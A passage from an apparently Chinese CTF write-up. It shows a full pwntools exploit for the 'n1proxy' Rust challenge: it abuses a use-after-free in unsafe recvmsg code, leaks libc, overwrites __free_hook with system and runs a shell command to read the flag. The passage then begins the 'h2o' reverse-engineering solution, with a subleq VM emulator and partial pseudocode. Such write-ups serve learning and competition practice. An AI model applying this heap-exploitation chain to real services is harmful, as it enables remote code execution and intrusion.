    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

n1proxy

Sovled by: eqqie, h1k0, C10-v

rust题,实现了一个远端的proxy代理。
首先是打板子,密钥交互,每次交互要验证消息,方式为sha256-pkcs1v15[rsa-dec(key_pri,text)],先签名后摘要。(打板子是花的时间最多的)
建立连接后,开始进入主逻辑部分。用户输入Proxytype和ProxyStatus
type就是连接类型,对应协议族,可以选TCP、UDP、Unix-socket等。
Status对应功能。
connect:输入地址,用远程主机对指定地址建立连接(就是代理),返回连接的fd
close:输入fd,关闭fd对应的代理连接
send:输入fd和数据,向fd对应的连接发数据
recv:输入fd和长度,从fd对应的连接读指定长度的字节
listen:只支持unixsocket。输入ip-port,建立一个监听(unix本地文件为hash(ip|port))然后阻塞到accept,直到这个accept获得一个连接(配合上面的connect来使用),返回accept的返回值。这个看起来是一个测试功能,可以配合connect来建立一个双工管道。
proxy的整体协议交互方式如下:

(handshake)
server --> client | HELLO_MSG: "n1proxy server v0.1"
client --> server | CLIENT_HELLO: "n1proxy client v0.1"
client --> server | conn_type
server --> client | key_exchange_sign, key_exchange
client --> server | client_verify_len, client_verify
client --> server | client_key_len, client_key_n
client --> server | client_key_len, client_key_e
server --> client | new_session_sign, new_session[E_cli(session_key), E_cli(time)]

(new session)
client --> server | E_sess(pre_conn[type_u32, status_u32, signature])
server --> client | E_sess(ok_msg[ok_msg, key_exchange_sign])

(connection operations)
switch status:
Listen:
    client --> server | E_sess(conn_data[host_len, host, port, signature])
    // new_unix_socket_listen(&target_host, target_port)
    server --> client | E_sess(resmsg[conn_fd, key_exchange_sign])

Close:
    client --> server | E_sess(conn_data[fd, signature])
    // close(fd)
    server --> client | E_sess(resmsg[0, key_exchange_sign])

Conn:
    client --> server | E_sess(conn_data[host_len, host, port, signature])
    // ProxyType::Tcp => my_connect(&target_host, target_port)?,
    // ProxyType::Udp => my_new_udp_connect(&target_host, target_port)?,
    // ProxyType::Sock => new_unix_socket_connect(&target_host, target_port)?,
    server --> client | E_sess(resmsg[conn_fd, key_exchange_sign])

Recv:
    client --> server | E_sess(conn_data[fd, data_size_u64, signature])
    // TCP: my_read(fd, data, len);
    // ProxyType::Udp => my_recvfrom(target_fd, recv_data_size as usize)?,
    // ProxyType::Sock => my_recv_msg(target_fd, recv_data_size as usize)?,
    server --> client | E_sess(resmsg[data[recv_data_len, recv_data], key_exchange_sign])

Send:
    client --> server | E_sess(conn_data[fd, data_size_u64, data, signature])
    // TCP: my_write(fd, data, len);
    // ProxyType::Udp => my_sendto(target_fd, &send_data)?,
    // ProxyType::Sock => my_send_msg(target_fd, &send_data)?,
    server --> client | E_sess(resmsg[send_res, key_exchange_sign])

本来rust本身应该会有比较完善的网络通信支持,但是这题用了libc包,转而用POSIX接口去调用glibc的接口,且每一次调用glibc的时候都会包上unsafe,这样就导致了一些隐性的漏洞。
我们最终找到的点在这里:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#[inline(always)]
fn my_recv_msg(fd: i32, recv_size: usize) -> Result<Vec<u8>> {
    let mut recv_iov = [iovec {
        iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _,
        iov_len: recv_size,
    }];
    let mut msg = msghdr {
        msg_name: std::ptr::null_mut(),
        msg_namelen: 0,
        msg_iov: recv_iov.as_mut_ptr(), // iov array
        msg_iovlen: 1, // only 1 iov
        msg_control: std::ptr::null_mut(),
        msg_controllen: 0,
        msg_flags: 0,
    };
    let recv_sz = unsafe { recvmsg(fd, &mut msg, 0) };
    if recv_sz < 0 {
        return os_error!();
    }

    let res = unsafe { slice::from_raw_parts(recv_iov[0].iov_base as *const u8, recv_size) };
    Ok(res.to_vec())
}

大体来说,第三行的recv_iov[0].iov_base,在第四行申请,但是第六行以后就生命周期就结束了,但是由于引用的未知都是 unsafe 块,因此编译器可能无法检测。于是在 16 行的 recvmsg 会存在 UAF 向被释放的内存块写入双工管道读出来的数据,而 21 行会重新申请相同大小的内存块,并尝试往里面拷贝刚刚读出来的内容。
接下来的内容都是测试得出的,因为对rust的具体实现不清楚,所以只能硬搬ptmalloc,libc2.27那套了。
首先,进一次my_recv_msg申请一个足够大的chunk,直接跑一次,按照上面的流程,uaf的时候输出的是一个unsorted_bin(或者large_bin,无法稳定复现)的chunk,其8:16位的值稳定末尾ca0,也就是喜闻乐见的mainarena+96。0:8位有时候也是libcleak,有时候是不稳定的堆地址,不太好用。
然后就是尝试直接进行tcache的next指针任意malloc。再进入my_recv_msg,申请一个较小的堆块,16行的uaf写入freehook(此时应该是tcache的next指针被篡改了),在21行的时候会有大概同样大小的多次malloc,并且会将16行写入的内容copy到其中一次被劫持的malloc出来的地址上去
(不要问这个结果是怎么得出的,真的就是随便试试写个freehook结果调试就siggev到到freehook上了,咱也不知道怎么莫名其妙就成功了)
于是稍微调整下,将malloc劫持的地址转换为freehook-0x10,然后写的东西是p64(freehook-0x10)+p64(addr1)+p64(system),这样freehook就被写成system了。
addr1是啥呢,根据测试,首先是tcache_key的检查,但是理论上随便篡改就能过,后来验证了下在这个2.27的小版本上只有写addr1=heap_base+0x10会报abort错,大概触发了tcache的doublefree检测。
但是似乎也不能乱写东西,比如这里应该就会对8:16上的值作为一个地址进行写入(推测是rust背后的堆行为),所以我们最后addr1写了一个可写地址进去,就能正常通过了。(作为反例,我们试过劫持时写入p64(freehook-0x8)+p64(system),结果报了访存错误,大概原因是system地址不可写)
后面所有的free都会变成system。而system在找不到path时只会报错,不会影响主进程,所以后面随便申请一个内容为命令字符串的堆块,总会被free掉进而执行我们的命令。
题目没给stdio,但是system执行的时候可以通过fd进行重定向。在这题里面随便找个连接的fd进行重定向就可以了,例如我们的脚本中9号fd就是一个和rust进程和python交互的连接fd(理论上不稳定,题目是多线程,同容器多次运行脚本的时候fd会变,但大体可以预测),直接cat /home/ctf/flag >&9就能在python的窗口收到loglevel=debug的recv信息,直接打出flag。
怎么说呢,这题就没下断点调过,因为真的不知道怎么下(

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
from pwnlib.tubes.remote import remote
from pwnlib.util.packing import p8, p16, p32, p64, u8, u16, u32, u64
import pwnlib.log as log
from pwn import *
import rsa
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5, AES
from Crypto.Util.Padding import pad, unpad
from enum import Enum
import threading
import time

context.log_level = "debug"

class ConnType(Enum):
    New = 0
    Restore = 1
    Renew = 2
    Restart = 114514
    Unknown = 3

class ProxyType(Enum):
    Tcp = 0
    Udp = 1
    Sock = 2
    Unknown = 3

class ProxyStatus(Enum):
    Send = 0
    Recv = 1
    Conn = 2
    Close = 3
    Listen = 4
    Unknown = 5

class Client(object):
    def __init__(self):
        self.server_key = None
        
        if os.path.exists("client_key.pem"):
            with open("client_key.pem", "rb") as f:
                self.client_key = RSA.import_key(f.read())
        else:
            self.client_key = RSA.generate(1024)
            self.client_key.has_private()
            with open("client_key.pem", "wb") as f:
                f.write(self.client_key.export_key())

        self.r = remote("chall-4a4554644c7a5349.sandbox.ctfpunk.com", 21496)

        self.state = 0
        self.session_key = ()

    def rsa_decrypt(self, data: bytes) -> bytes:
        if not self.client_key.has_private():
            raise Exception("No private key")
        
        cipher = PKCS1_v1_5.new(self.client_key)
        decrypted = cipher.decrypt(data, None)
        return decrypted

    def rsa_encrypt(self, data: bytes):
        pass

    def aes_encrypt(self, data: bytes) -> bytes:
        key, iv = self.session_key
        cipher = AES.new(key, AES.MODE_CBC, iv)
        encrypted_data = cipher.encrypt(pad(data, AES.block_size))
        return encrypted_data

    def aes_decrypt(self, data: bytes):
        key, iv = self.session_key
        cipher = AES.new(key, AES.MODE_CBC, iv)
        try:
            decrypted_data = unpad(cipher.decrypt(data), AES.block_size)
            return decrypted_data
        except ValueError:
            raise Exception("Invalid padding")

    def send_client_hello(self):
        self.r.recvuntil("n1proxy server v0.1")
        self.r.send("n1proxy client v0.1")

    def send_conn_type(self, type):
        """
        enum ConnType {
            New = 0,
            Restore = 1,
            Renew = 2,
            Restart = 114514,
            Unknown = 3,
        }
        """
        self.r.send(p32(type))

    def verify(self, data: bytes, signature: bytes):
        """
        verify signature from server
        """
        assert self.server_key is not None
        hash_obj = SHA256.new(data)
        verifier = pkcs1_15.new(self.server_key)
        try:
            verifier.verify(hash_obj, signature)
            log.success("Verify server key success")
        except (ValueError, TypeError):
            raise Exception("Invalid server key")

    def sign(self, data: bytes):
        """
        sign data with client private key
        """
        assert self.client_key.has_private()
        signer = pkcs1_15.new(self.client_key)
        hash_obj = SHA256.new(data)
        signature = signer.sign(hash_obj)
        return signature

    def get_server_pubkey(self):
        # key_exchange_sign ->
        # [ len(key_exchange_sign) (8 bytes) | key_exchange_sign (512 bytes) ]
        key_exchange_sign_total = 520
        buf = self.r.recv(key_exchange_sign_total)
        key_exchange_sign_length = u64(buf[:8])
        key_exchange_sign = buf[8:]
        assert(len(key_exchange_sign) == key_exchange_sign_length)

        # key exchange ->
        # [ sizeof(pubkey_n) (8 bytes) | sizeof(pubkey_e) (8 bytes) | pubkey_n (512 bytes) | pubkey_e (3 bytes)]
        key_exchange_total = 531
        key_exchange_buf = self.r.recv(key_exchange_total)
        pubkey_n_length = u64(key_exchange_buf[:8])
        pubkey_e_length = u64(key_exchange_buf[8:16])
        pubkey_n = key_exchange_buf[16:528]
        pubkey_e = key_exchange_buf[528:]
        assert len(pubkey_n) == pubkey_n_length
        assert len(pubkey_e) == pubkey_e_length

        log.info("key_exchange_sign_length: " + str(key_exchange_sign_length))

        pubkey_n = int.from_bytes(pubkey_n, "big")
        pubkey_e = int.from_bytes(pubkey_e, "big")
        
        if self.server_key is None:
            self.server_key = RSA.construct((pubkey_n, pubkey_e))
            self.verify(key_exchange_buf, key_exchange_sign)

        log.success("pubkey_n: " + str(pubkey_n))
        log.success("pubkey_e: " + str(pubkey_e))

    def send_client_pubkey(self):
        """
        * client_msg_len is 8bytes
        """
        data_to_sign = len(self.client_key.n.to_bytes(512, 'big')).to_bytes(8, 'little') + \
                        self.client_key.n.to_bytes(512, 'big') + \
                        len(self.client_key.e.to_bytes(3, 'big')).to_bytes(8, 'little') + \
                        self.client_key.e.to_bytes(3, 'big')
        
        signature = self.sign(data_to_sign)

        packet = len(signature).to_bytes(8, 'little') + signature + data_to_sign
        self.r.send(packet)

    def get_session_key(self):
        """
        session_key_sign [ len(sign) (8 bytes) | sign (512 bytes) ]
        session_key [ len(enc_key) (8 bytes) | enc_key (128 key) | len(enc_time) (8 bytes) | enc_time (128 bytes) ]
        """
        session_key_sign_total = 520
        session_key_sign_buf = self.r.recv(session_key_sign_total)
        session_key_sign_length = u64(session_key_sign_buf[:8])
        session_key_sign = session_key_sign_buf[8:]

        session_key_total = 272
        session_key_buf = self.r.recv(session_key_total)
        enc_key_length = u64(session_key_buf[:8])
        enc_key = session_key_buf[8:136]
        enc_time_length = u64(session_key_buf[136:144])
        enc_time = session_key_buf[144:272]

        assert len(session_key_sign) == session_key_sign_length
        self.verify(session_key_buf, session_key_sign)

        assert len(enc_key) == enc_key_length
        assert len(enc_time) == enc_time_length

        log.info("enc_key_length: " + str(enc_key_length))
        log.info("enc_time_length: " + str(enc_time_length))

        session_key = self.rsa_decrypt(enc_key)
        time_stamp = self.rsa_decrypt(enc_time)
        time_stamp = int.from_bytes(time_stamp, 'big')

        assert len(session_key) == 48
        key = session_key[:32]
        iv = session_key[32:]
        assert len(key) == 32
        assert len(iv) == 16
        self.session_key = (key, iv)

    def recv_ok_msg(self):
        enc_data_len = 528
        enc_data = self.r.recv(enc_data_len)
        data = self.aes_decrypt(enc_data)
        assert len(data) == 524
        ok_msg = data[:4]
        sign_len = u64(data[4:12])
        sign = data[12:]
        assert len(sign) == sign_len
        assert len(sign) == 512
        self.verify(ok_msg, sign)
        log.success(f"recv ok msg : {ok_msg}")

    
    def send_pre_conn(self, proxy_type, proxy_status):
        data = p32(proxy_type) + p32(proxy_status)
        sig = self.sign(data)
        full = data + sig
        enc_data = self.aes_encrypt(full)

        self.r.send(enc_data)

    def proxy_listen(self, hostlen, host, port):
        self.send_pre_conn(ProxyType.Sock.value, ProxyStatus.Listen.value)
        self.recv_ok_msg()
        
        assert len(host) == hostlen
        
        hostlen = p32(hostlen)
        host = host.encode()
        port = p16(port)
        data = hostlen + host + port
        sig = self.sign(data)
        full = data + sig
        enc_data = self.aes_encrypt(full)
        
        self.r.send(enc_data)

        # recv conn fd
        recv_enc_data_len = 528
        recv_enc_data = self.r.recv(recv_enc_data_len)
        recv_data = self.aes_decrypt(recv_enc_data)
        assert len(recv_data) == 516
        sig = recv_data[4:]
        self.verify(recv_data[:4], sig)
        conn_fd = u32(recv_data[:4])

        log.success(f"recv listen fd: {conn_fd}")
        return conn_fd

    def proxy_conn(self, hostlen, host, port) -> int:
        self.send_pre_conn(ProxyType.Sock.value, ProxyStatus.Conn.value)
        self.recv_ok_msg()

        hostlen = p32(hostlen)
        host = host.encode()
        port = p16(port)
        data = hostlen + host + port
        sig = self.sign(data)
        full = data + sig
        enc_data = self.aes_encrypt(full)
        
        self.r.send(enc_data)

        # recv conn fd
        recv_enc_data_len = 528
        recv_enc_data = self.r.recv(recv_enc_data_len)
        recv_data = self.aes_decrypt(recv_enc_data)
        assert len(recv_data) == 516
        sig = recv_data[4:]
        self.verify(recv_data[:4], sig)
        conn_fd = u32(recv_data[:4])

        log.success(f"recv conn fd: {conn_fd}")
        return conn_fd
    
    def proxy_send(self, conn_fd, data_size_u64, data):
        self.send_pre_conn(ProxyType.Sock.value, ProxyStatus.Send.value)
        self.recv_ok_msg()

        assert len(data) == data_size_u64

        conn_fd = p32(conn_fd)
        data_size_u64 = p64(data_size_u64)
        data = conn_fd + data_size_u64 + data
        sig = self.sign(data)
        #full = data + sig
        #enc_data = self.aes_encrypt(full)
        #self.r.send(enc_data)
        self.r.send(self.aes_encrypt(data+sig[:-2]))
        self.r.send(self.aes_encrypt(sig[-2:]))

        # recv send result
        recv_enc_data_len = 528
        recv_enc_data = self.r.recv(recv_enc_data_len)
        recv_data = self.aes_decrypt(recv_enc_data)
        sig = recv_data[8:]
        self.verify(recv_data[:8], sig)
        send_res = u64(recv_data[:8])

        log.success(f"send_res: {send_res}")
        return send_res

    def proxy_recv(self, conn_fd, data_size_u64):
        self.send_pre_conn(ProxyType.Sock.value, ProxyStatus.Recv.value)
        self.recv_ok_msg()

        conn_fd = p32(conn_fd)
        data_size_u64 = p64(data_size_u64)
        data = conn_fd + data_size_u64
        sig = self.sign(data)
        self.r.send(self.aes_encrypt(data+sig))

        recv_enc_data = self.r.recv()
        recv_data = self.aes_decrypt(recv_enc_data)
        data_len = u64(recv_data[:8])
        data = recv_data[8:8+data_len]
        sig = recv_data[8+data_len:]
        self.verify(recv_data[:8+data_len], sig)
        log.success(f"recv_data: {data}")

        return data

    def handshake(self):
        self.send_client_hello()
        self.send_conn_type(0x0)
        self.get_server_pubkey()
        self.send_client_pubkey()
        self.get_session_key()

    def do_close(self):
        self.r.close()

fd_1 = -1
fd_2 = -1

def listen_task():
    global fd_1
    c = Client()
    c.handshake()
    fd = c.proxy_listen(0x8, "hostname", 1213)
    fd_1 = fd
    c.do_close()

def exp():
    global fd_1
    global fd_2

    libc = ELF("./lib/libc.so.6")

    threading.Thread(target=listen_task).start()
    time.sleep(2)

    c1 = Client()
    c1.handshake()
    fd_2 = c1.proxy_conn(0x8, "hostname", 1213)
    c1.do_close()

    print(f"fd_1: {fd_1}, fd_2: {fd_2}")

    c2 = Client()
    c2.handshake()
    c2.proxy_send(fd_2, 0x8, b"\x00"*0x8)
    c2.do_close()

# 0x5555556b4000
# 0x200 -> 0x7ffff758ac00
# 0x450 -> 0x7ffff758b290
# 0x410 -> 0x7ffff758b0b0 | 0x5555556cb660
    #pause()
    c3 = Client()
    c3.handshake()
    leak_data = c3.proxy_recv(fd_1, 0x200)

    tmp_leak = u64(leak_data[:0x8])
    libc_leak = u64(leak_data[0x8:0x10])
    libc_base = libc_leak - 0x3ebca0
    system = libc_base + libc.symbols['system']
    __free_hook = libc_base + libc.symbols['__free_hook']
    binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
    print("tmp_leak:", hex(tmp_leak))
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("__free_hook:", hex(__free_hook))
    print("binsh:", hex(binsh))
    c3.do_close()

# free_hook
    #pause()
    c4 = Client()
    c4.handshake()
    c4.proxy_send(fd_2, 0x18, p64(__free_hook-0x10)+p64(__free_hook-0x20)+p64(system))
    c4.do_close()
    c5 = Client()
    c5.handshake()
    read_data = c5.proxy_recv(fd_1, 0x50)
    print("read_data:", read_data)
    c5.do_close()

    c6 = Client()
    c6.handshake()
    cmd = b"cat /home/ctf/flag >&9\x00"
    c6.proxy_send(fd_2, len(cmd), cmd)
    c6.do_close()
    c7 = Client()
    c7.handshake()
    read_data = c7.proxy_recv(fd_1, 0x50)
    print("read_data:", read_data)
    c7.do_close() 

if __name__ == "__main__":
    exp()
    

Reverse

h2o

Sovled by: Ichild

跟hitcon的lessequalmore相同。
先用python抄出来模拟执行,打出执行的指令,直接生成了2亿行,文本文件都占了4个G。后续去除重复的指令,得到2w行的代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python3

class VM:
    def __init__(self, mem):
        self.mem = mem[:]
        self.pc = 0
        self.values = [ord(i) for i in 'f\n']

    def step(self):
        op0 = self.mem[self.pc]
        op1 = self.mem[self.pc + 1]
        op2 = self.mem[self.pc + 2]
        if op1 < 0:
            print(chr(self.mem[op0]), end='')
            self.pc += 3
        elif op0 < 0:
            # self.mem[op1] = self.values.pop(0)
            self.mem[op1] = ord((input('@') + '\n')[0])
            self.pc += 3
        else:
            sign = self.mem[op1] <= self.mem[op0]
            self.mem[op1] = toint(self.mem[op1] - self.mem[op0])
            if sign: self.pc = op2
            else: self.pc += 3

    def run(self):
        while self.pc < len(self.mem):
            self.step()

    def run_range(self, start, end):
        print('run between %d and %d...' % (start, end))
        self.pc = start
        while self.pc < len(self.mem) and self.pc != end:
            self.step()

    def dump_step(self):
        ins = '_%d: ' % self.pc
        op0 = self.mem[self.pc]
        op1 = self.mem[self.pc + 1]
        op2 = self.mem[self.pc + 2]
        if self.pc in self.dump_set:
            dump = False
        else:
            self.dump_set.add(self.pc)
            dump = True
        if op1 < 0:
            ins += 'putchar(%s)\n' % repr(chr(self.mem[op0]))
            self.pc += 3
        elif op0 < 0:
            ins += 'mem[%d] = getchar()\n' % op1
            self.mem[op1] = self.values.pop(0)
            self.pc += 3
        else:
            if op0 == op1:
                ins += 'mem[%d] = 0\n' % op1
            else:
                ins += 'mem[%d] -= mem[%d]\n' % (op1, op0)
            sign = self.mem[op1] <= self.mem[op0]
            self.mem[op1] = toint(self.mem[op1] - self.mem[op0])
            if op2 != self.pc + 3:
                if op0 == op1:
                    ins += 'goto _%d\n' % op2
                else:
                    ins += 'if (mem[%d] <= 0) goto _%d\n' % (op1, op2)
            if sign:
                self.pc = op2
            else:
                self.pc += 3
        if dump:
            print(ins, end='')

    def dump_run(self):
        self.dump_set = set()
        while self.pc < len(self.mem):
            self.dump_step()

def toint(x):
    x &= (1 << 64) - 1
    if (x >> 63) & 1: x -= 1 << 64
    return x

import struct
old_values = list(struct.unpack('<211124q', open('h2o', 'rb').read()[0x3040: 0x3040 + 8 * 211124]))

vm = VM(old_values)
vm.dump_run()

先找模式,使用正则匹配将某些操作化简,化简得到6k行代码。剩下就是苦力活,花10h手动逆向关键逻辑,得到:

   1
   2
   3
   4
   5
   6
   7
   8
   9
  10
  11
  12
  13
  14
  15
  16
  17
  18
  19
  20
  21
  22
  23
  24
  25
  26
  27
  28
  29
  30
  31
  32
  33
  34
  35
  36
  37
  38
  39
  40
  41
  42
  43
  44
  45
  46
  47
  48
  49
  50
  51
  52
  53
  54
  55
  56
  57
  58
  59
  60
  61
  62
  63
  64
  65
  66
  67
  68
  69
  70
  71
  72
  73
  74
  75
  76
  77
  78
  79
  80
  81
  82
  83
  84
  85
  86
  87
  88
  89
  90
  91
  92
  93
  94
  95
  96
  97
  98
  99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
 119
 120
 121
 122
 123
 124
 125
 126
 127
 128
 129
 130
 131
 132
 133
 134
 135
 136
 137
 138
 139
 140
 141
 142
 143
 144
 145
 146
 147
 148
 149
 150
 151
 152
 153
 154
 155
 156
 157
 158
 159
 160
 161
 162
 163
 164
 165
 166
 167
 168
 169
 170
 171
 172
 173
 174
 175
 176
 177
 178
 179
 180
 181
 182
 183
 184
 185
 186
 187
 188
 189
 190
 191
 192
 193
 194
 195
 196
 197
 198
 199
 200
 201
 202
 203
 204
 205
 206
 207
 208
 209
 210
 211
 212
 213
 214
 215
 216
 217
 218
 219
 220
 221
 222
 223
 224
 225
 226
 227
 228
 229
 230
 231
 232
 233
 234
 235
 236
 237
 238
 239
 240
 241
 242
 243
 244
 245
 246
 247
 248
 249
 250
 251
 252
 253
 254
 255
 256
 257
 258
 259
 260
 261
 262
 263
 264
 265
 266
 267
 268
 269
 270
 271
 272
 273
 274
 275
 276
 277
 278
 279
 280
 281
 282
 283
 284
 285
 286
 287
 288
 289
 290
 291
 292
 293
 294
 295
 296
 297
 298
 299
 300
 301
 302
 303
 304
 305
 306
 307
 308
 309
 310
 311
 312
 313
 314
 315
 316
 317
 318
 319
 320
 321
 322
 323
 324
 325
 326
 327
 328
 329
 330
 331
 332
 333
 334
 335
 336
 337
 338
 339
 340
 341
 342
 343
 344
 345
 346
 347
 348
 349
 350
 351
 352
 353
 354
 355
 356
 357
 358
 359
 360
 361
 362
 363
 364
 365
 366
 367
 368
 369
 370
 371
 372
 373
 374
 375
 376
 377
 378
 379
 380
 381
 382
 383
 384
 385
 386
 387
 388
 389
 390
 391
 392
 393
 394
 395
 396
 397
 398
 399
 400
 401
 402
 403
 404
 405
 406
 407
 408
 409
 410
 411
 412
 413
 414
 415
 416
 417
 418
 419
 420
 421
 422
 423
 424
 425
 426
 427
 428
 429
 430
 431
 432
 433
 434
 435
 436
 437
 438
 439
 440
 441
 442
 443
 444
 445
 446
 447
 448
 449
 450
 451
 452
 453
 454
 455
 456
 457
 458
 459
 460
 461
 462
 463
 464
 465
 466
 467
 468
 469
 470
 471
 472
 473
 474
 475
 476
 477
 478
 479
 480
 481
 482
 483
 484
 485
 486
 487
 488
 489
 490
 491
 492
 493
 494
 495
 496
 497
 498
 499
 500
 501
 502
 503
 504
 505
 506
 507
 508
 509
 510
 511
 512
 513
 514
 515
 516
 517
 518
 519
 520
 521
 522
 523
 524
 525
 526
 527
 528
 529
 530
 531
 532
 533
 534
 535
 536
 537
 538
 539
 540
 541
 542
 543
 544
 545
 546
 547
 548
 549
 550
 551
 552
 553
 554
 555
 556
 557
 558
 559
 560
 561
 562
 563
 564
 565
 566
 567
 568
 569
 570
 571
 572
 573
 574
 575
 576
 577
 578
 579
 580
 581
 582
 583
 584
 585
 586
 587
 588
 589
 590
 591
 592
 593
 594
 595
 596
 597
 598
 599
 600
 601
 602
 603
 604
 605
 606
 607
 608
 609
 610
 611
 612
 613
 614
 615
 616
 617
 618
 619
 620
 621
 622
 623
 624
 625
 626
 627
 628
 629
 630
 631
 632
 633
 634
 635
 636
 637
 638
 639
 640
 641
 642
 643
 644
 645
 646
 647
 648
 649
 650
 651
 652
 653
 654
 655
 656
 657
 658
 659
 660
 661
 662
 663
 664
 665
 666
 667
 668
 669
 670
 671
 672
 673
 674
 675
 676
 677
 678
 679
 680
 681
 682
 683
 684
 685
 686
 687
 688
 689
 690
 691
 692
 693
 694
 695
 696
 697
 698
 699
 700
 701
 702
 703
 704
 705
 706
 707
 708
 709
 710
 711
 712
 713
 714
 715
 716
 717
 718
 719
 720
 721
 722
 723
 724
 725
 726
 727
 728
 729
 730
 731
 732
 733
 734
 735
 736
 737
 738
 739
 740
 741
 742
 743
 744
 745
 746
 747
 748
 749
 750
 751
 752
 753
 754
 755
 756
 757
 758
 759
 760
 761
 762
 763
 764
 765
 766
 767
 768
 769
 770
 771
 772
 773
 774
 775
 776
 777
 778
 779
 780
 781
 782
 783
 784
 785
 786
 787
 788
 789
 790
 791
 792
 793
 794
 795
 796
 797
 798
 799
 800
 801
 802
 803
 804
 805
 806
 807
 808
 809
 810
 811
 812
 813
 814
 815
 816
 817
 818
 819
 820
 821
 822
 823
 824
 825
 826
 827
 828
 829
 830
 831
 832
 833
 834
 835
 836
 837
 838
 839
 840
 841
 842
 843
 844
 845
 846
 847
 848
 849
 850
 851
 852
 853
 854
 855
 856
 857
 858
 859
 860
 861
 862
 863
 864
 865
 866
 867
 868
 869
 870
 871
 872
 873
 874
 875
 876
 877
 878
 879
 880
 881
 882
 883
 884
 885
 886
 887
 888
 889
 890
 891
 892
 893
 894
 895
 896
 897
 898
 899
 900
 901
 902
 903
 904
 905
 906
 907
 908
 909
 910
 911
 912
 913
 914
 915
 916
 917
 918
 919
 920
 921
 922
 923
 924
 925
 926
 927
 928
 929
 930
 931
 932
 933
 934
 935
 936
 937
 938
 939
 940
 941
 942
 943
 944
 945
 946
 947
 948
 949
 950
 951
 952
 953
 954
 955
 956
 957
 958
 959
 960
 961
 962
 963
 964
 965
 966
 967
 968
 969
 970
 971
 972
 973
 974
 975
 976
 977
 978
 979
 980
 981
 982
 983
 984
 985
 986
 987
 988
 989
 990
 991
 992
 993
 994
 995
 996
 997
 998
 999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
void sub_43() { // entry
        // 43-69
        mem[34] = 211071;

        // 211071-211124
        mem[mem[34] - 1] = 211124;
        mem[34] -= 1;
        sub_104594();
        halt();
}


// size_t getchar();
void sub_2281() { // 2281-2330
        mem[3] = getchar();
        return ;
}

// size_t len(array &arr);
void sub_2376() { // 2376-2474
        mem[3] = mem[mem[34] + 1];
        mem[3] = mem[mem[3]];
        return;
}

void sub_21995() { // 21995-
        
}

void sub_24279() { // 24279-
        
}

// mul
void sub_27519() { // 27519-
        
}

// div
void sub_59302() { // 59302-
        
}

void sub_60896() { // 60896-
        
}

// void func(size_t n, array& data, array& key);
void sub_68543() { // 68543-
        push bp;
        mov bp, sp;
        sub sp, 7;

        r11 = data;
        r12 = 0;
        r12 += 1;
        r11 += r12;
        r11 = [r11];
        [sp + 0] = r11;

        r11 = data;
        r13 = 1;
        r13 += 1;
        r11 += r13;
        r11 = [r11];
        [sp + 1] = r11;

        [sp + 2] = 0;
        [sp + 3] = 0x636f3268;
        [sp + 4] = 0;

        while ([sp + 4] < n) {
                r11 = sp + 0;
                r12 = [sp + 0];
                push r4;
                push r6;
                push r8;
                push r9;
                push r5;
                push r7;
                push r11;
                push r12;
                r13 = [sp + 10]; // [sp + 2]
                r14 = key;
                push r4;
                push r6;
                push r8;
                push r9;
                push r5;
                push r7;
                push r11;
                push r12;
                push r13;
                push r14;
                push 4;
                push [sp + 21]; // [sp + 2]
                push 70737; // ret_addr

                sub_61755();

                sp += 2;
                pop r14;
                pop r13;
                pop r12;
                pop r11;
                pop r7;
                pop r5;
                pop r9;
                pop r8;
                pop r6;
                pop r4;

                r10 = r3;
                r10 += 1;
                r14 += r10;
